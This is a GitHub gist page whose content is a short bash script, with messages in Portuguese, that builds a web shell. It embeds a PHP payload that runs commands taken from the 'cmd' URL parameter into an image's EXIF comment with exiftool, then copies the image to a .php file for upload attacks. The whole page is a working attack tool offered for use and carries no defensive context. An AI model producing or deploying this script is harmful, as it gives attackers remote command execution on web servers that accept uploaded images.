Skip to content

Instantly share code, notes, and snippets.

@growlnx
Last active May 13, 2019 19:00
Show Gist options
  • Save growlnx/0d15088f053f56e7cfe4006c13a8b12f to your computer and use it in GitHub Desktop.
Save growlnx/0d15088f053f56e7cfe4006c13a8b12f to your computer and use it in GitHub Desktop.
#!usr/bin/env bash
if [[ ! -f $1 ]];
then
echo -e "não foi possível encontrar '$1'"
exit 1
fi
echo -e "injetando payload em '$1' ...";
exiftool -Comment="<?php passthru(\$_GET['cmd']); _halt_compiler(); ?>" "$1" 2>&1>/dev/null
if [[ $? != 0 ]];
then
echo -e "ocorreu um erro, não foi possível criar a Webshell."
exit 2
fi
cp "$1" "$1.php"
echo -e "Webshell '$1.php' foi criada com sucesso!";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment